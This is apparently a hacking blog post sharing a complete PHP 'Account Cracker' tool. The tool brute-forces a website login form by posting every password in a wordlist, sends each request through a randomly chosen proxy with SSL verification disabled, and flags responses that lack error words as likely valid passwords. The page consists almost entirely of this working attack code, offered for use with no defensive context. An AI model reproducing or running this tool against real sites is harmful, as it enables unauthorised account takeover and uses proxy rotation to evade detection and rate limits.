BLOG HACKING . . .: [PHP]Account Cracker

<?php <html>

<head>
   <title>Account Cracker</title>

   <style type="text/css">

      body
      {
         color: #ffffff;
         text-shadow: 2px 2px #000000;
         background-color: #282828;
         font-family: Arial, Helvetica, sans-serif;
      }

      pre
      {
         background-color: #353535;
         border: solid 1px #505050;
      }

      input
      {
         font-family: Arial, Helvetica, sans-serif;
      }

      .Button
      {
         padding: 5px 10px;
         background: #303030;
         border: solid #101010 1px;
         color: #fff;
         cursor: pointer;
         font-weight: bold;
         border-radius: 5px;
         -moz-border-radius: 5px;
         -webkit-border-radius: 5px;
         text-shadow: 1px 1px #000;
      }

      .Input
      {
         border: solid #101010 1px;
         color: white;
         font-weight: bold;
         padding: 3px;
         background-color: #252525;
      }
    </style>
</head>
<body>
<div align="center">
<pre>
   _____                                   __    _________                       __
  /  _  \   ____  ____  ____  __ __  _____/  |_  \_   ___ \____________    ____ |  | __ ___________
/  /_\  \_/ ___\/ ___\/  _ \|  |  \/    \   __\ /    \  \/\_  __ \__  \ _/ ___\|  |/ // __ \_  __ \/    |    \  \__\  \__(  <_> )  |  /   |  \  |   \     \____|  | \// __ \\  \___|    <\  ___/|  | \/\____|__  /\___  >___  >____/|____/|___|  /__|    \______  /|__|  (____  /\___  >__|_ \\___  >__|
        \/     \/    \/                 \/               \/            \/     \/     \/    \/       Coded By The Alchemist                                                         www.HackCommunity.com</pre>

<?php## Coded by The Alchemist
## www.hackcommunity.com$hidden = 0;set_time_limit(0);
function crack($url, $post_fields)
{
    $agent= 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0';
    $flag = 0;
    $wordList = file('wordlist.txt');
    $proxyList = file('proxylist.txt');
    $mh = curl_multi_init();
    $ch = array();

    foreach($wordList as $lineNumber => $value)
    {
        if(strstr($value,"\n"))
        {
            $value = substr($value, 0, strlen($value)-2);
        }
        $post = $post_fields.$value;
        $ch[$lineNumber] = curl_init($url);
        curl_setopt_array($ch[$lineNumber], array(CURLOPT_RETURNTRANSFER => true,
                                                  CURLOPT_PROXY => $proxyList[array_rand($proxyList)],
                                                  CURLOPT_SSL_VERIFYPEER => false,
                                                  CURLOPT_FOLLOWLOCATION => true,
                                                  CURLOPT_VERBOSE => true,
                                                  CURLOPT_REFERER => $url,
                                                  CURLOPT_POST => true,
                                                  CURLOPT_POSTFIELDS => $post,
                                                  CURLOPT_USERAGENT => $agent,
                                                  CURLOPT_HEADER => true));
        curl_multi_add_handle($mh, $ch[$lineNumber]);
    }

    $running = null;
    do
    {
        curl_multi_exec($mh, $running);
    } while($running > 0);

    foreach($ch as $lineNumber => $handler)
    {
        if(!strstr(curl_multi_getcontent($handler),'error') &&
           !strstr(curl_multi_getcontent($handler),'invalid') &&
           !strstr(curl_multi_getcontent($handler),'wrong'))
        {
            $flag = 1;
            echo '<br /><span style="color: red;">'.$wordList[$lineNumber].'</span>MIGHT BE A VALID PASSWORD';
        }
    }
    if($flag == 0)
    {
        echo 'Password could <span style="color: red;">NOT</span> be cracked';
    }
}
if(!file_exists('proxylist.txt') || !file_exists('wordlist.txt'))
{
    echo 'Please upload the Proxy List as proxylist.txt';
    echo ' and the Password List as wordlist.txt in the same directory';
    echo '<br />Try again after uploading.';
    exit();
}?><form method="post" action="">
    <table>
    <tr><td>Enter URL : </td><td><input type="text" name="url" class="Input" value="http://example.com" /><br /></td></tr>
    <tr><td>Enter name of username field : </td><td><input type="text" name="namef" class="Input" value="" /><br /></td></tr>
    <tr><td>Enter username value : </td><td><input type="text" name="namev" class="Input" value="" /><br /></td></tr>
    <tr><td>Enter name of password field : </td><td><input type="text" name="passf" class="Input" value="" /><br /></td></tr>
    <tr><td>Enter name of submit button field : </td><td><input type="text" name="submitf" class="Input" value="" /><br /></td></tr>
    <tr><td>Enter value of submit button field : </td><td><input type="text" name="submitv" class="Input" value="" /><br /></td></tr>
<?phpif(isset($_GET['hidden']) && is_numeric($_GET['hidden']))
{
      $hidden = $_GET['hidden'];
      for($i = 1 ; $i <= $hidden ; $i++)
      {?>        <tr><td>Enter name of hidden field(<?php echo $i; ?>) : </td><td><input type="text" name="hidf<?php echo $i; ?>" class="Input" value="" /><br /></td>
            <td>Enter value of hidden field(<?php echo $i; ?>) : </td><td><input type="text" name="hidv<?php echo $i; ?>" class="Input" value="" /><br /></td></tr>
            <?php
      }
}?>    <tr><td></td><td><input type="submit" name="submit" class="Button" value="Submit" /><br /></td></tr>
    </table>
</form>
<?php
$cond = true;$post_fields = "";
for($i = 1 ; $i <= $hidden ; $i++)
{
    $key1 = 'hidf'.$i;  $key2 = 'hidv'.$i;
      if(isset($_POST[$key1], $_POST[$key2]))
      {
            $post_fields = $post_fields.$_POST[$key1]."=".$_POST[$key2]."&";
      }
      else
      {
            $cond = false;
            break;
      }
}
if(isset($_POST['url'], $_POST['namef'], $_POST['namev'], $_POST['passf'], $_POST['submitf'], $_POST['submitv'], $_POST['submit'])
    && filter_var($_POST['url'], FILTER_VALIDATE_URL) && $cond)
{
      $posts = $_POST['namef']."=".$_POST['namev']."&";
      $posts = $posts.$_POST['submitf']."=".$_POST['submitv']."&";
      $post_fields = $posts.$post_fields.$_POST['passf']."=";
      crack($_POST['url'], $post_fields);
}?></div>
</body>
</html>

Advertisement advertise here